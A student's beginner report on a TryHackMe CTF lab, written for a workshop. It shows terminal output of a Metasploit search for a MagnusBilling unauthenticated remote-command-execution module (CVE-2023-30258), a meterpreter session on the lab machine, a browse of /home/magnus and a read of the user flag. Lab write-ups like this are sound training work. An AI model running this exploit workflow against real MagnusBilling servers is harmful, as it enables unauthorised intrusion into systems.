

TASK-1

REPORT ON CTF ON TRYHACKME

I am writing this report on the basis of the lab/CTF that I done on Tryhackme as per task 1 instructed by our mulearn workshop coordinators.

I am a very beginner who knows very little about ctf's and other cybersecurity related terms.I would like to level up my skills to become a professional analyst in cybersecurity or an ethical hacker. I often tried to do labs on hackthebox or tryhackme by referring youtube.when I heard the task 1 is to do a ctf,I lost my confidence as I thought this bootcamp is not gonna be beginner friendly.

But I naver gaveup and searched for an easy lab in thm.as a result,I ended up in the lab called "billing".

After finding this,I opened
msfconsole(metaexploit),as said in the youtube
video.

I searched magnusbilling and found this exploit.

```
Applications Places System Thu 10 Jul, 15:03 AttackBox IP:10.10.52.250
root@ip-10-10-52-250: ~
File Edit View Search Terminal Help
command 'searchd' from deb sphinxsearch (2.2.11-2ubuntu2)
command 'starch' from deb coop-computing-tools (7.0.22-1ubuntu1)
command 'vsearch' from deb vsearch (2.14.1-3build1)
command 'csearch' from deb codesearch (0.0-hg20120502-3)
command 'esearch' from deb ncbl-entrez-direct (12.0.20190816+ds-1ubuntu0.2)

See 'snap info <snapname>' for additional versions.

root@ip-10-10-52-250:~# msfconsole
This copy of metasploit-framework is more than two weeks old.
Consider running 'msfupdate' to update to the latest version.
Metasploit tip: Metasploit can be configured at startup, see msfconsole
--help to learn more

Metasploit

+ -- ==[ metasploit v6.4.55-dev ]
+ -- ==[ 2502 exploits - 1287 auxiliary - 431 post ]
+ -- ==[ 1616 payloads - 49 encoders - 13 nops ]
+ -- ==[ 9 evasion ]

Metasploit Documentation: https://docs.metasploit.com/

msf6 > search MagnusBilling

Matching Modules
=====
#  Name                                     Disclosure Date  Rank    Check  Description
-  -
0  exploit/linux/http/magnusbilling_unauth_rce_cve_2023_30258 2023-06-26      excellent Yes    magnusbilling application unauthenticated Remote Command Execution.
1  \_ target: PHP
2  \_ target: Unix Command
3  \_ target: Linux Dropper

Interact with a module by name or index. For example info 3, use 3 or use exploit/linux/http/magnusbilling_unauth_rce_cve_2023_30258
after interacting with a module you can manually set a TARGET with set TARGET <linux Dropper>
```

Iseted the LPORT and LHOST in crct way and let the
exploit run.it successfully caught the flag.

```
Applications Places System Thu 10 Jul, 15:10 AttackBox IP:10.10.52.250
root@ip-10-10-52-250: ~
File Edit View Search Terminal Help
[-] stdapi_fs_chdir: Operation failed: 1
meterpreter > cd /home
meterpreter > ls
Listing: /home
=====
Mode                Size      Type    Last modified            Name
-----
040755/rwxr-xr-x    4096    dir     2025-07-10 14:50:54 +0100 debian
040755/rwxr-xr-x    4096    dir     2024-09-09 15:45:14 +0100 magnus
040755/rwxr-xr-x    4096    dir     2025-05-28 22:32:43 +0100 ssm-user

meterpreter > cd magnus
meterpreter > ls
Listing: /home/magnus
=====
*de                Size      Type    Last modified            Name
-----
020666/rw-rw-rw-     0    cha     2025-07-10 15:04:33 +0100 .bash_history
100600/rw-rw-rw-    220    fil     2024-03-27 19:45:39 +0000 .bash_logout
100600/rw-rw-rw-   3526    fil     2024-03-27 19:45:39 +0000 .bashrc
040700/rwx-rw-r--    4096    dir     2024-09-09 13:01:09 +0100 .cache
040700/rwx-rw-r--    4096    dir     2024-03-27 19:47:04 +0000 .config
040700/rwx-rw-r--    4096    dir     2024-09-09 13:01:09 +0100 .gnupg
040700/rwx-rw-r--    4096    dir     2024-03-27 19:46:12 +0000 .local
100700/rwx-rw-r--    807    fil     2024-03-27 19:45:39 +0000 .profile
040700/rwx-rw-r--    4096    dir     2024-03-27 19:46:17 +0000 .ssh
040700/rwx-rw-r--    4096    dir     2024-03-27 19:46:12 +0000 Desktop
040700/rwx-rw-r--    4096    dir     2024-03-27 19:46:12 +0000 Documents
040700/rwx-rw-r--    4096    dir     2024-03-27 19:46:12 +0000 Downloads
040700/rwx-rw-r--    4096    dir     2024-03-27 19:46:12 +0000 Music
040700/rwx-rw-r--    4096    dir     2024-03-27 19:46:12 +0000 Pictures
040700/rwx-rw-r--    4096    dir     2024-03-27 19:46:12 +0000 Public
040700/rwx-rw-r--    4096    dir     2024-03-27 19:46:12 +0000 Templates
040700/rwx-rw-r--    4096    dir     2024-03-27 19:46:12 +0000 Videos
100644/rw-r--r--     38    fil     2024-03-27 21:44:18 +0000 user.txt

meterpreter > cat usr.txt
[-] stdapi_fs_stat: Operation failed: 1
meterpreter > cat user.txt
THM{4a6831d5f124b25eefb1e92e0f0da4ca}
meterpreter >
```

I found one flag. But there is one more in roots directory. But I couldn't find it .I didn't know what were they searching in their terminal in the video.so I hope you understand this concern .

Thankyou-

Giridhar B kumar